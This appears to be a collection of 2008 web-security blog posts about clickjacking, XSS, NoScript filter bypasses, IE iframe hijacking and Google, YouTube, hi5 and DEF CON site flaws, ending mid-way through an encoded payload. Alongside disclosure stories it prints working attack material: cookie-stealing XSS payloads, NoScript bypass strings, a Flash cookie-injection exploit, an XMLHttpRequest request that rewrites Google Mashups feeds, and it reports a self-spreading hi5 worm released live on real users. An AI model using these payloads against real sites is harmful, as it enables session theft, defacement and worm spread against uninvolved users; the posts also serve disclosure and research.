About CSS Attacks

Gareth, David and I went to Microsoft Bluehat v8, it was pretty fun meeting everyone.

Gareth described the talk pretty well in here: http://www.thespanner.co.uk/2008/10/20/bluehat/, (slides) anyway I want to show the stuff we didn't showed at Bluehat because of their no-zeroday policy (even if the vendor wasn't willing to patch).

So well we have the following clickjacking PoCs, that show different attack techniques.

Ghost Mirror - GMail PoC

http://www.sirdarckcat.net/gmailclickjacking.html

Sends an email when you click [Send] (check your sent mails folder).

This technique works like this:

You get a copy of the generated HTML code of the target webpage, then you simply hide everything, except for the button you want to overlay.. you could draw other things using absolute positioning, but this is enough for most scenarios.

You can checkout the "ghost page" here: http://www.sirdarckcat.net/dad.html

This attack has it's pros and it's cons.. the most important pro is that it's the best way of doing cross-browser exploits.. since you don't depend on the sizes, margins, overflow rules etc.. that different browsers use.

This attack (and PoC) was reported to Google Security Team on Sat, Sep 27, 2008 at 11:37 PM, the response was that it won't be fixed (I'm sure they have more serious issues to take care about).

Frame Cropping - Twitter PoC

http://www.sirdarckcat.net/coconuterror.html

This one uses another technique, that is usefull for selecting a specific section of a webpage, this specific PoC is Firefox only, not because the technique is not posible on other browsers, but because you have to make a different exploit for each different browser.

The way it works is using 2 iframes with a fixed height/width and possition, you only have to positionate the iframe using negative left/top coordinates, once you have that, you crop to the height and width of the button.


If that's not possible due to styling specific issues, then you have to use a second iframe that will have a height/width of the size of the button to be overlayed.

Both iframes must have the CSS properties overflow:hidden; and border: 0 (or their HTML attribute equivalent {like frameborder instead of border}).

This one is sexy :)

We also have the.. javascript ones.

Pixel Window - Adobe Flash Webcam PoC

http://ha.ckers.org/weird/cjdivtest.html


This one overlays 4 divs leaving a window where the mouse will be clicked.


Update to the latest Adobe Flash Player to be protected against this vulnerability.
http://get.adobe.com/flash/


Mouse Chase - Adobe Flash Webcam PoC

http://grack.com/record/


The same principle of Pixel Window..but now with the overlay chasing the mouse position.


CSS Attribute Reader Source Code


http://eaea.sirdarckcat.net/cssar/v2/?source

The first version of the reader wont be released yet, maybe later.. sorry.

This type of attack is relevant, because this could start a new type of attack based on XSS, that could be called Cross Site Styling (since we are not really using a scripting language).

There's another version, made by Wisec that is also pretty cool, based on meta refreshes, it calculates 1 char per second, he'll be presenting it soon at ruxcon.

By the way, I also want to say thanks to the guys that attended bunkent0r for their feedback on the presentation.

Greetz!!

Symantec Altiris Deployment Solution < 6.9.176 Multiple Vulnerabilities

Ok so, this isn't the normal type of vulnerabilities I post here (I'm mostly a webappsec guy), but well, I discovered this elevation of privileges on this product of Symantec (Altiris Deployment Solution), and it was fixed a while ago, but I hadn't the chance to post about it.

This was researched with Alex Hernandez from sybsecurity.com and from elhacker.net.

The document explaining the vulnerabilities is here.

And the exploit for the elevation of privileges is here.

This was reported to Symantec ( secure@symantec.com ), and they had a very quick and fluent communication with us, they responded fast whenever we asked for information, or had any doubts. The follow-up of this vulnerability has been tracked until today, and so the security team of Symantec is the best one we've met.

Symantec released an advisory here:
http://www.symantec.com/avcenter/security/Content/2008.05.14a.html

Sybsecurity released another one here:
http://www.sybsecurity.com/advisors/SYBSEC-ADV15-Symantec_Altiris_Client_Privilege_Escalation_Vulnerability

Greetings!!

Hacking NoScript

Well, some people have recently asked why I am on some NoScript release notes.. and that's a good question..

I haven't released any details on the hacks against NoScript, since most of them where reported privately to Giorgio..

This is not the exception, I wont release any 0days here, I'll just give the details of the issues that I've reported in the past, and current NoScript users are immune to.

Is important to say, that Giorgio fixes stuff in "hours", (or minutes in some cases), and he has done some crazy stuff, just so NoScript users can be safe, so if you dont use it, go get it.

So, I'll go on chronological order:

v 1.1.6.25
=====================================================================
+ Fix for Sirdarckcat's JS redirection trick

That was.. if a website has an open redirection (like, for example, Google's default open redirection feature), and you have that website as trusted (such as most people I guess they have.. Google).. a embed script on a website, pointing to Google's redirection, will be reported to be "from Google", and it will be loaded and executed.

This was useful for example, to attackers that were not able to make a self contained XSS payload, and they needed to load the script from their website, but since their website was surely not on their victims whitelist, then the attack would be unsuccesfull.

Anyway, by means of this, an attacker could be able to do something like the following PoC: http://www.sirdarckcat.net/hades

There I use another redirection on pages.google.com.

If you use NoScript>=1.1.6.25, this attack will be unsuccesful.

v 1.1.7.6
=====================================================================
+ srv.br "special" TLD (thanks Rodrigo Ristow Branco)
+ Better protection against "setter" based XSS vectors and encoded
"name" payloads (thanks RSnake, Sirdarckcat and Kuza55, see
http://ha.ckers.org/blog/20071104/owning-hackersorg-or-not/ )
+ Improved hidden links management, preserves original body CSS
attributes when possible (thanks mdots)

That was an issue on NoScript XSS payload detection, that I discussed some time ago.

The issue was that NoScript didn't detected setter/getter assignations, and so http://ha.ckers.org/xss.swf?a=1:setter/**/a=eval,setter/**/b=atob,a=b=name

Was able to bypass NoScript filters.

The xss.swf page was removed by RSnake, and (if you have ha.ckers.org as trusted) you will see NoScript XSS detection alert, if you are using NoScript >=1.1.7.6

v 1.1.7.8
=====================================================================
+ JAR uris are forbidden from loading as documents by default, see
http://noscript.net/faq#jar for details
+ Block untrusted XBL (thanks Sirdarckcat for inspiration)
x Various IFrame blocking refinements

Well, I didnt reported that, I just inspired ma1 (and I dont know the details), but.. I guess that means that now -moz-binding XBL are not loaded if they are hosted on an untrusted website.

This is probably related to rsnake's hacking attempt.

v 1.2.2
=====================================================================
x Changed noscript.filterXGetRx default to make single quote removal
happen only after positive injection checks (thanks sirdarckcat for
suggestion)

About that one, it was a bug (not a vulnerability), that removed single quotes from websites, and iframes on some situations.

Actually I discovered this while visiting kuza55's blog, since the little iframe in the top of blogspot blogs include the blog's title, and his blog title has a single quote.. that created some errors.

v 1.6.9.2
=====================================================================
x Fixed Injection Checker checking ASCII 43 as a "plus" sign but not
as a www-form-encoded space (thanks Sirdarckcat for report)
x Google search anti-XSS exception now checks for real TLDs, rather
than short 2nd level domains (thanks Sirdarckcat for report)
+ Refactored unescaping flow, allowing for easier extension
+ Ebay-style unescaping

That's detailed on sla.ckers, here:
http://sla.ckers.org/forum/read.php?12,17238,page=2#msg-22925

I'll quote my message:

Re: Hacking noscript

Posted by: sirdarckcat (IP Logged)

Date: June 16, 2008 04:02AM

Ah! hacking noscript?

thats easy..
[trustedsite.com]

for example.. (eBay has a XSS issue very similar to the one I'm describing (well, actually, a lot of sites, but eBay rocks))

But duuuude!! what's happening?

Well, NoScript thinks, that.. "+" is a plus.. but in reality.. "+" is a space, and so..

var x=''+alert(document.cookie) //a:';

is valid js code! (damn, I'm good, 10 minutes to hack NoScript :D)

Greetz!!

PS. It's a joke, noscript is great :P, and even do I did spent 10 minutes to find the issue, it was because I had this idea for attacking noscript since a couple of months ago, but I didnt tested it till today.


but WAIT!!
thats all?

The hell it isn't!! (anyway, this last attack is not so dangerous, since it requires user interaction [enabling javascript on an untrusted domain])

Let's take a look at NoScript's default anti-xss rules:
^[url]http://[/url]([a-z]+)\.google\.(?:[a-z]{1,3}\.)?[a-z]+/(?:search|custom|\1)\?

That means, well.. that:
[images.google.com]

Will bypass NoScript (because we all trust google =D), but.. wait.. that's for google domains exclusively right?

Well, wrong!! because, well.. 20 bux, we can get a 3 letter domain [www.3character.com]

And so do:

[www.google.xss.com]

Pointing google.xss.com to your router or something.

There's an issue with this last attack.. NoScript does his job, and automatically denies google.xss.com.. anyway, enabling javascript in such domain (social engineering) would allow the attacker to send evil XSS attacks to your router/intranet what-ever.

Anyway, hacking noscript is fun :D

And in any case someone wondered..

[search.ebay.com]

And yeah, that's not triggering noscript alarms :D

Greetz!!

And after all, this is ma1 response (where he uncovered that eBay uses a weird Q encoding, I didn't saw):

Re: Hacking noscript

Posted by: ma1 (IP Logged)

Date: June 16, 2008 09:36AM

FIXED

Now that it's fixed, I'll explain my innuendo to Ebay's "scary and brainless" issue, which reminds me closely last month's Base64 Yahoo one.

Your PoC was

hxxp://search.ebay.com/search/search.dll?_trksid=&satitle=ME+XSS+U&category0=&from=%27%2Balert(document.cookie)%2B%27

and it did not bypass NoScript. I guess you meant to write it in the "mixed plus" form, but this is not.

But here's the truly scary one:

http://search.ebay.com/ME-XSS-U_W0QQfromZQ27Q2balertQ28documentQ2ecookieQ29Q2bQ27

As you can see, ebay uses its own custom "Q-encoding", allowing XSS payloads virtually undetectable to any filter, except NoScript >= 1.6.9.2 ;)

IMPORTANT REQUEST (rules change)
Since as far as I can see NoScript now is actively used by more than 1.5 million users, it would be kind of you if new issues were responsibly disclosed to me before posting them there.
I guarantee to handle them the very same day I read your report and to publish a development build with proper credits, but since one week is probably the minimum user-bearable window for automatic updates on stable releases, a 7 days grace period would be nice as a compromise to avoid an excessively tight update schedule for stable version users.

And PHPIDS now supports Qencoding decripting btw :P

v 1.6.9.8
=====================================================================
x Restored the noscript.forbidData preference to its orginal "true"
default value (thanks Sirdarckcat for reporting an issue in the
about:blank context prevented by this change)

And this one, the latest, is about a way of executing javascript even on untrsuted domains, if you can get your users to click while holding Ctrl.

This are the e-mails:

/(?:Ctrl|Shift)[::click::]/.test(NoScript);
9 messages

---

Eduardo Vela <>	Sat, Jun 21, 2008 at 7:07 AM
To: Giorgio Maone <>
Hi Giorgio! I've found out that NoScript allows javascript code execution on untrusted sites if you make your visitor click Control or Shift, and click on a page. I've mounted a PoC: http://www.sirdarckcat.net/aw.html Hold Control and then click somewhere. The script runs on about:blank context.. so it's not so, so, dangerous, but anyway.. Greetings!! -- Arnold Schwarzenegger - "I have a love interest in every one of my films - a gun."

---

Giorgio Maone <>	Sat, Jun 21, 2008 at 9:32 AM
To: Eduardo Vela <>
Hi Edoardo! Thanks for the info, it's very interesting. I'm investigating it. Cheers -- Giorgio [Quoted text hidden]

---

Giorgio Maone <>	Sat, Jun 21, 2008 at 9:35 AM
To: Eduardo Vela <>
BTW, shift does not work for me (must still test on a clean profile, though) but ctrl does. [Quoted text hidden]

---

Eduardo Vela <>	Sat, Jun 21, 2008 at 9:36 AM
To: Giorgio Maone <>
Control should open the script on a new tab, and shift on a new window.. maybe popup blocker stuff, or something? [Quoted text hidden] -- Frank Lloyd Wright - "TV is chewing gum for the eyes."

---

Giorgio Maone <>	Sat, Jun 21, 2008 at 9:38 AM
To: Eduardo Vela <>
Maybe, or Tab Mix Plus. Shift does open a window for me, but it's empty and no script gets executed. [Quoted text hidden]

---

Giorgio Maone <>	Sat, Jun 21, 2008 at 9:56 AM
To: Eduardo Vela <>
Forgot to tell, this is a bug for me (likely a regression), because I've got code in place to prevent exactly this sort of javascript:/data: url openings. Hence expect a fix build in a very short time. Thanks! [Quoted text hidden]

---

Giorgio Maone <>	Sat, Jun 21, 2008 at 10:12 AM
To: Eduardo Vela <>
OK, I found the culprit. At a certain point in time I turned the default for the "noscript.forbidData" about:config preference to "false", in order to work-around a Firebug bug. It seemed a relatively innocuous change, considered also that about:blank is not in the default whitelist. Anyway, since the Firebug issue is obsolete and I'm much more worried of this kind of bypass, next build will restore the original "true" default. Thanks again -- Giorgio [Quoted text hidden]

---

Giorgio Maone	Sat, Jun 21, 2008 at 10:34 AM
To: Eduardo Vela
Done :) Please wait for public release of 1.7 (in a week or even earlier) to disclose the details. [Quoted text hidden]

So, that's all, we are on 1.7.1 and this last bug was fixed on 1.6.9.8, so we are all safe =)

Anyway, as it wil be soon explained, just blocking javascript, flash, and other plugins is not enough.. we have a sexy assassin uncaptured ;)

Greetings!!

Ghosts for IE8 and IE7.5730

Here's a new version of the last post code for hijacking IE6 and IE7 iframes.

Aparently some versions of IE where fixed, (the code didnt worked for 40% of the people), so after downloading the newest IE7, I kept researching and found another issue.


Sample PoC Here.

This time the code will open a new window (hackademix.net), it will hijack one of the iframes, and capture keystrokes.

It's the same idea as last time, but bypassing a weird protection.

Greetz!!

Browser's Ghost Busters

Due to the news that there are a few ghost busters on the wild, and no one is willing to tell us exactly what's the ghost about, I've been doing some research to find out proof that those ghosts exist.

I'm talking about Manuel Caballero's talk A Resident in My Domain:


From one of the pictures it tells us that there's some relation to iframes.. and also from the description of the talk it tells us that it is able to capture non-domain-privileged DOM attributes and methods ( if we could steal cookies, then the description would be a lot more apocalyptic ).. and well, we also know it is cross-domain..

1. So, the first "fact" is that using the iframes on any website, you can capture top.location's and keystrokes (this is well known).
   
   
2. So, there's a way of modifying iframes on a window, on a domain is not ours.
   
   
3. So, we need a way of getting a reference to a window.

There are some ways of doing that:

• window.opener.window
• open().window
• frames[].window
• top
• parent
• [maybe others I don't know]

4. So, once we have that, we need a reference to the iframes.

There's 2 ways I know of doing that

• document.getElementsByTagName("iframe");
• window.frames[];

And, so.

• getElementsByTagName fails (IE6, IE7, FF2, FF3, Safari 3).
  
• window.frames[] doesnt fail (IE6, IE7, FF2, FF3, Safari 3);

So we will use window.frames[] to access the iframes.

Knowing that..

5. We will try to modify the location of such frames.

We have a few ways of doing that.

Via

• parent.open("new location","frame-name");
• frame.location="new location";
• frame.open("new location","_self");

The modification of location of iframe's location work on windows inside frames on IE6, IE7, FF2, FF3 (go here and then use this code) but we wont use a frame in a frame to get the reference to the window, since we cant detach a window from a frame, and so, it is not what the bug is about.

Anyway, none of the mentioned method work for windows gotten from window.opener and open() on FF2 or FF3, but it does work on IE7 on windows gotten from open() and from window.opener.

6. So so far, we have an exploit that only works on IE (6&7).

What do you say? is this the proton pack we were looking for?


For obvious reasons I wont disclose a IHE (Interactive Hacking Environment) as Caballero apparently has one, but I think this may be the bug, or some similar bug to the one he presented.

Greetings!!

PS. This doesn't work on IE8. thanks to thornmaker for testing.
PS2. There's a version that works on IE8 and all versions of IE7:
http://sirdarckcat.blogspot.com/2008/05/ghosts-for-ie8-and-ie75730.html

Exploiting XSS vulnerabilities on cookies

Well, after talking with David Ross about the last post (bypassing content-disposition), I found out that it's exploitation wasn't as easy as it appears since IE has done some updates on the last couple of months.. so well.. sorry about that.

Anyway, I guess it's time to say the world a little way of exploiting XSS vulnerabilities that echoes the value of a cookie.

This is based on majohn trick (setting headers via flash post), and well, I remembered about that when I saw kuza's talk.

This is done via flash:

class defconxss {
static function main(mc) {
  var req = new LoadVars();
  req.addRequestHeader("Cookie:bblastactivity=%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E", " ");
  req["1"]="1";
  req.send("https://pics.defcon.org/misc.php?action=cookies", "_self", "POST");
}
}

This is a PoC for a XSS at pics.defcon.org you can read more about it here: http://whk.h4ck1ng.net/2007-12.22/xss-en-defconorg/ but it's on spanish.

An important thing to say is that the cookies sent this way are not persistent by default, anyway, some codes make force them to be persistent.

So this works for me with the latest player: http://www.adobe.com/shockwave/download/

Anyway, internet explorer is not vulnerable.. damn..

You can download kuza's talk here: http://outpost.h3q.com/fnord/24c3-torrents/24c3-2212-en-unusual_web_bugs.mp4.torrent

Greetz!!

Bypassing Content-Disposition: attachment for XSS on IE

Well first of all I want to congrats my friend kuza55 because of his talk "Unusual Web Bugs" at 24c3, was a success.

I watched it on the stream, and even do it dropped every 2 minutes, the audio was sort of constant, so I was able to hear it.

So, it was awesome, and he used the stuff that was investigated and discovered lately, so that was a cutting edge talk.

Anyway, I tried to make kuza receive a message for the Q&A, that wasn't able to arrive, when you say that the header Content-Disposition: attachment is a restriction that no one has been able to bypass, well it's bypassable, and I dunno why I didn't told you about this.. anyway..

Suppose that http://www.victim.com/downloads.php?file=999 is a downloader that sends the header: Content-Disposition: attachment, then you can make IE to display the content as "the best guess", by caching it first, like this:

<script src="http://www.victim.com/downloads.php?file=999"></script>
<iframe src="http://www.victim.com/downloads.php?file=999"></iframe>

The iframe will load the cached source, and it will show the best guess IE can make.

I haven't tested this on firefox, sorry, but at least it works on IE 6 and 7.

So, that's mostly all, just wanted to say that..

Greetz!!

Making a Social Network XSS Worm (hi5.com)

Well, the last couple of days I've been playing with hi5.

It's pretty cool, and I found a couple of XSS vulnerabilities.

I reported them to help@hi5.com, security@hi5.com, admin@hi5.com and all the e-mails I found on the domain hi5.com.

Well, they didn't responded.

So, there's a XSS Worm for hi5 on the wild.

The worm is on the following profile (if you visit it throught this domain you wont get infected, the problem lies if you visit it through www.hi5.com domain):

http://xssworm.hi5.com/

I'll alert you that the profile may be deleted by hi5 staff at any time.

I'll give an explanation on how this worm works as soon as it's controlled by the hi5 team, since it doesn't use XHR.. and some people asked me on the past if it is possible to do a worm without XHR.

To the hi5 team: there are a lot of vulnerabilities on your website, if you wish, I could help you with them, just respond the freaking e-mails.

cya!

UPDATE

I've finally been contacted by the hi5 team, we are working on solving the XSS & CSRF vulnerabilties.

CSK2 and CSS Applications

This week, I've sort of improoved the CSK of Gareth Heyes, with a few more event handlers, and interoperability with Opera (and menus!!).

This new version is over here:
http://www.sirdarckcat.net/csk2.html

Anyway, with the research I did, I also found the bast world of possibilities implied on CSS.

Starting from the CSK2, I've developed a game made in CSS with no javascript (anyway, you can only play once).. which currently works on all browsers, except from IExplorer.

I also used this knowledge gathered, to make my final project on the university (it was just making a website.. haha): http://da-vinci.awardspace.com/ this works just on firefox (don't tell my teacher, :P)

On some other news, thornmaker and I, where trying to proof that CSS + HTML is Turing Complete, anyway, since we dont have a way to make real loops (evendo we had some ideas about including bindings that include themselves until a condition is made, that could work as recurtion), it "appears" that CSS+HTML is NOT Turing Complete.. anyway, I'll continue investigating to be sure.

Greetz!!

Inside History of hacking rsnake for fun and pagerank.

Well the research made for the exploit for the joke for rsnake is sort of interesting, so I'll try to explain what was needed (even do it was unsuccesfull).

This was made with the help of the research made by the members of sla.ckers like ascii, gareth heyes, rsnake, Jeremiah Grossman, thornmaker, Wisec, kuza55 and me.

It exploited a bug and a feature from ha.ckers.org:

• bug: http://ha.ckers.org/xss.swf
• feature: http://ha.ckers.org/blog/wp-admin/anything is protected to everyone besides rsnake and id IPs.

And a feature from Firefox:

• feature: XBL bindings.
  

Some bugs from NoScript:

• XBL Frame Injection to bypass NoScript IFrame protection.
• setter/name NoScript anti XSS filter bypass.

(this bugs have been patched since version 1.1.7.8 of NoScript)

You can read the comments from Robert Hansen, and Giorgio Maone about this exploit at ha.ckers.org and hackademix.net (oh jeremiah grossman also talked about this here and some others in langs that I dont understand).

The only thing the exploit required was that rsnake had ha.ckers.org white-listed on NoScript, but it didn't succeed for that and some other secret reasons.

For targeting the exploit just for rsnake, and hiding it from other persons, we did 3 things.

First we checked if rsnake had ha.ckers.org/blog/wp-admin/post-new.php on his history via CSS History check without javascript.

If this was unsuccesfull because of the "SafeHistory" plugin, or any other reason, we checked if his IP had access to ha.ckers.org/blog/wp-admin/wp-admin.css stylesheet, if he had, we would try to exploit it.

For doing that we played with display:block/display:none properties of iframes, but in the case that rsnake had NoScript iframe protection enabled, then the exploit would be unsuccesfull, so we added a -moz-binding, for detecting NoScript presence, and replacing it with a frameset/frame.

With that, we just redirected rsnake to the payload, the problem was that NoScript detects reflected XSS attacks, so we needed to find a way to bypass it, and we did.. (http://ha.ckers.org/xss.swf?a=0:0;a/**/setter=eval;b/**/setter=atob;a=b=name;)

That in un-obfuscated code is:

eval(atob(window.name)).

atob=decode base64.

The reason this bug works was a mistery at the begining, but after Wisec re-constructed the as2 bytecode he saw that there where some variables appending to the url, and then after some more research this is the reason this guys found out (explained by kuza55):

the Flash file looked like this:

getURL("javascript:('XSS')", "_self", "GET");
stop();

That third parameter turned out to be the key (though we only found this by an absolute fluke), initially we just assumed that the third parameter was just saying it should be a GET request, but the third argument does more actually:

[www.adobe.com]

getURL(url [, window [, "variables"]])

[snip]

variables: A GET or POST method for sending variables. If there are no variables, omit this parameter. The GET method appends the variables to the end of the URL, and is used for small numbers of variables. The POST method sends the variables in a separate HTTP header and is used for sending long strings of variables.

Now, seeing as in AS2, all variables which are passed on the URL are imported into the global scope (like register_globals), we get it sent with the request. Now seeing as there was no semi-colon at the end of the first argument, we were able to abuse the fact that the ? is not only the thing separating the variables in the URL from the file, but it is also the javascript ternary operator.

So we simply used this to finish off a valid statement using the ternary operator, and then specified our XSS.

The window.name trick doesn't require a javascript doing window.name="payload".. it required just a frame named as we wanted.. (< iframe name="payload">) since NoScript strips any char matching [^a-z0-9_\-] with space in window.name, then we needed to encode the payload in base64 and remove all the "+" and "/" chars of it via whitespacing where they where shown.

So, we posted a comment with a link that may attract the attention of rsnake when moderating the comments, and we only needed to wait..

Then, we saw the anti-climax.. the comment was aprooved, and the payload wasnt triggered.. lol (hey spammers)

So we did another post, now with a link that appeared to be spam, and we did..
http://owaspnj.blogspot.com.

Any way, that comment wasnt aprooved, and the exploit in there (that was clearly more hidden than the ultimatehxr.googlepages.com) was not necessary.

So you can see the exploit here (it's commented :D):

http://www.sirdarckcat.net/blah2.html

if you want to know what's blah1.html, it's just how we where trying to detect the wp-admin.css.

The last thing is to explain the functionment of the payload.

1.- via XMLHttpRequest, it asked for /post-new.php source code.
2.- it created an iframe, and writted inside that iframe the source code with a.. "< base target="/wp-admin">"
3.- Then he submited the first form modifying the title, content, and tags fields, and clicking on publish (yeah we wanted the payload to had tags).
4.- And that was all, no RegEx.match for finding nonces, and nothing :P..

You can see the content of the post as it would appear if the exploit suceeded here:
http://rsnakex.wordpress.com/

Greetz!!

Vulns of Google that where, and are not?

Well, this are the bugs at Google services that even do are fixed now, where around for a while.

First I have to say that the Google Security Team (yeah, that sounds like a hacking team xD), responded very well and quickly many times the same day, or 1 day after the report.

In an exchange of 35 mails (give or take), between each other, the following vulnerabilities where reported and fixed:

1.- XSS at GWT/MDP < http://www.google.com/gwt/mdp/x/en/detect/1?manually=true&brand=sirdackcat&model=sirdarckcat.net%3Cscript%3Ealert(document.cookie);%3C/script%3E >

The response to this mail had the following signature:

Erik, Google Security Team
NOTE: This message was sent by a human.

:P r0cks
the vulnerability was reported on July 27, and fixed on August 4.

2.- A CSRF+XSS vuln in Google Pages + Google Apps For Your Domain

1.- You need to make your victim log in into the attacker GoogleAppsForYourDomain (google pages) account.. to do that is not difficult.. you can make a simple script that submits a form the same way:
https://www.google.com/a/ DOMAIN /ServiceLogin
it's important to take into consideration, that the attacker will reveal the user and password (of his googleappsforyourdomain account) to the victim.

2.- Once your victim is logged in, you make your victim to go to a "preview" cached version of a page that has a script.. and that's all.

It sounds difficult, but it wasn't, the preview page could be reached with just 1 token that was revealed at signing up proccess.

Well, that one was reported on August 19 and fixed on September 4

Then, the same day, there was another one, now in the edition page.
3.- Another XSS+CSRF vuln in Google Pages + Google Apps For Your Domain.

In an unpublished page, add this code:
iframe src="javascript:alert(123);">< /iframe >

and then when you leave the site the code will be executed, and every time someone enters to that page..(or leaves) this could also be used to attack GoogleApps pages, when there is more than 1 admin.

Well, this one had a PoC, and was pretty cool :P, but it had some usernames and passwords, so if I release it, then the PoC wont last a second.. ¬¬

4.- Data Spoofing at Google Analytics.
Well this one is still "live", so I wont get on many details.
An attacker can make someone using Google Analytics beleive, that they came from your site (referrer), even if they haven't, they can make them change the URL of the report of activities on certain user, and a lot of cool stuff that are based on this.

5.- Google Mashups, XSS and Design Flaw.
lol, I've already reported this one here.. the XSS doesn't exist anymore, and the Design Flaw wont be fixed.

6.- Youtube redirection?
Is not a vulnerability on youtube, but in some plugins, that abuse it.. here it is.

7.- More cool stuff still about to be patched.
yeah, well, there are a few other vulns that will probably get fixed in the following weeks :P

For the guys that have asked me on the past, "why do you do this for free"? well, thats because.. it's like a hobby, I use google a lot, and I am curious.. I have a very cool Google T-Shirt, and well, maybe in the future I can make my name appear over here..

Greetz!!

Universal youtube mods XSS explained in 7 steps

Well, I want to explain first, this was not my idea, someone at irc.irchighway.net/#slackers discussed about this a while ago, but he wasn't able to find a redirection URL at youtube.

A couple of days ago I found such URL, and now I can't remember who was he, please if you read this, send me an e-mail to modify this post for the credits.

[[ UPDATE ]] kuza55 found out that Kyran was the one to come with the idea [[ /UPDATE ]]

Well, discusing this with the guys at w4ck1ng it appears that the vulnerability is rather complex to understand.

1. First, we know that if we can embed a flash movie into a site, we can make XSS attacks, by means of getURL("javascript:code_here");
2. Second, we know that we cant embed any arbitrary movie into any forum (at least not by default).
3. Third, we know there are thousands of forums that have Youtube mods instaled, so their users can link to movies, and watch them without leaving the site.
4. Fourth, the mods for youtube (at least the ones I found) have no regular expressions for validating that the video linked is valid, and they do: http://www.youtube.com/v/{param_here} thinking, that in such way an attacker wont be able to change the domain.
5. Fifth, Youtube doesn't have any visible redirection URL that forwards to an arbitrary site, so if you found a redirection page, you could do.. http://www.youtube.com/v/../redirection?page=http://your.swf.exploit/
6. Sixth, the redirection page inside youtube is http://www.youtube.com/confirm_email?next=http://new.url/
7. Seventh, using step 4, 5 and 6 the exploit is like this: [youtube=1,1]../confirm_email?next=http://exploit.com/swf[/youtube]

Well, I think that's all.. the easiest way of patching this vulnerability is simply adding a allowScriptAcces="never" in the object tag of your mod.. anyway, attackers will still be able to redirect to their movies, for stopping that you need to make a regular expression that matches the input with ^[a-zA-Z0-9_]{11}$
(like the phpBB mod does)

[EDIT]
List of SMF vulnerable mod's:

• http://www.simplemachines.org/community/index.php?topic=107067.0
• http://www.simplemachines.org/community/index.php?topic=165018.0
• http://www.simplemachines.org/community/index.php?topic=139271.0

Not vulnerable:

• http://www.simplemachines.org/community/index.php?topic=197280.0

Unsafe IPB youtube mod instalation:

• http://novia.com.sg/forums/index.php?showtopic=12501

[/EDIT]

Google Mashups Vulnerability

yay, I wanted to be part of this hell of a week (Google's Dark Week).

Here is the vulnerability I reported to google, and it appears to be a "design error" (and there is no fix, without breaking other things).

With this vulnerability you can "deface" any google-mashups project, creating your own XML-RPC to the GWT server, and change the contents of any feed.

The report I sent to Google is this:

---

Supose, you are the creator of http://gallery.googlemashups.com/
if you include a list, for a local feed, then any attacker from the world will be able to modify all the content in your website.

This is maybe a design error, and as I see it, it's pretty dificult to fix.

I've made a demonstration to http://gallery.googlemashups.com/
Enter to the website, and go to the last page, there you will see that the last item was modified.

to do so, you just need to execute the following code:

with(new XMLHttpRequest()){
open("POST","http://gallery.googlemashups.com/feeds/app/galleryApps",true);
setRequestHeader("Content-Type","application/atom+xml; charset=utf-8");
setRequestHeader("X-Gm-Validate","ASDFGHJKLÑPQWERRTYUIOPZXCVBNMUJHFDDDEFFDSSCFGGTFDQWERTYUIYTRREWWWQQ");
setRequestHeader("X-GData-Client","JavaScript-V1.0-Google Mashup Editor");
send(unescape("%3c%3f%78%6d%6c%20%76%65%72%73%69%6f%6e%3d%22%31%2e%30%22%20%65%6e%63%6f%64%69%6e%67%3d%22%55%54%46%2d%38%22%20%3f%3e%0d%0a%3c%61%74%6f%6d%3a%65%6e%74%72%79%20%78%6d%6c%6e%73%3a%67%6d%64%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%67%6d%64%2f%32%30%30%37%22%20%67%3d%22%63%6f%6d%2e%67%6f%6f%67%6c%65%2e%67%77%74%2e%63%6f%72%65%2e%63%6c%69%65%6e%74%2e%4a%61%76%61%53%63%72%69%70%74%4f%62%6a%65%63%74%22%20%78%6d%6c%6e%73%3a%61%74%6f%6d%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%35%2f%41%74%6f%6d%22%20%78%6d%6c%6e%73%3a%67%64%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%67%2f%32%30%30%35%22%20%78%6d%6c%6e%73%3a%67%6d%3d%22%68%74%74%70%3a%2f%2f%62%61%73%65%2e%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%6e%73%2d%6d%65%74%61%64%61%74%61%2f%31%2e%30%22%20%78%6d%6c%6e%73%3a%67%3d%22%68%74%74%70%3a%2f%2f%62%61%73%65%2e%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%6e%73%2f%31%2e%30%22%20%78%6d%6c%6e%73%3a%67%43%61%6c%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%67%43%61%6c%2f%32%30%30%35%22%20%78%6d%6c%6e%73%3a%73%74%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%73%74%2f%32%30%30%36%22%20%78%6d%6c%6e%73%3a%61%70%70%73%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%61%70%70%73%2f%32%30%30%36%22%20%78%6d%6c%6e%73%3a%78%73%6c%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%31%39%39%39%2f%58%53%4c%2f%54%72%61%6e%73%66%6f%72%6d%22%20%78%6d%6c%6e%73%3a%78%68%74%6d%6c%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%31%39%39%39%2f%78%68%74%6d%6c%22%20%78%6d%6c%6e%73%3a%6f%70%65%6e%53%65%61%72%63%68%3d%22%68%74%74%70%3a%2f%2f%61%39%2e%63%6f%6d%2f%2d%2f%73%70%65%63%2f%6f%70%65%6e%73%65%61%72%63%68%72%73%73%2f%31%2e%30%2f%22%20%78%6d%6c%6e%73%3a%6d%65%64%69%61%3d%22%68%74%74%70%3a%2f%2f%73%65%61%72%63%68%2e%79%61%68%6f%6f%2e%63%6f%6d%2f%6d%72%73%73%22%20%78%6d%6c%6e%73%3a%67%65%6f%72%73%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%67%65%6f%72%73%73%2e%6f%72%67%2f%67%65%6f%72%73%73%3d%67%65%6f%72%73%73%22%20%78%6d%6c%6e%73%3a%67%6d%6c%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%6f%70%65%6e%67%69%73%2e%6e%65%74%2f%67%6d%6c%3d%67%6d%6c%22%20%78%6d%6c%6e%73%3a%65%78%69%66%3d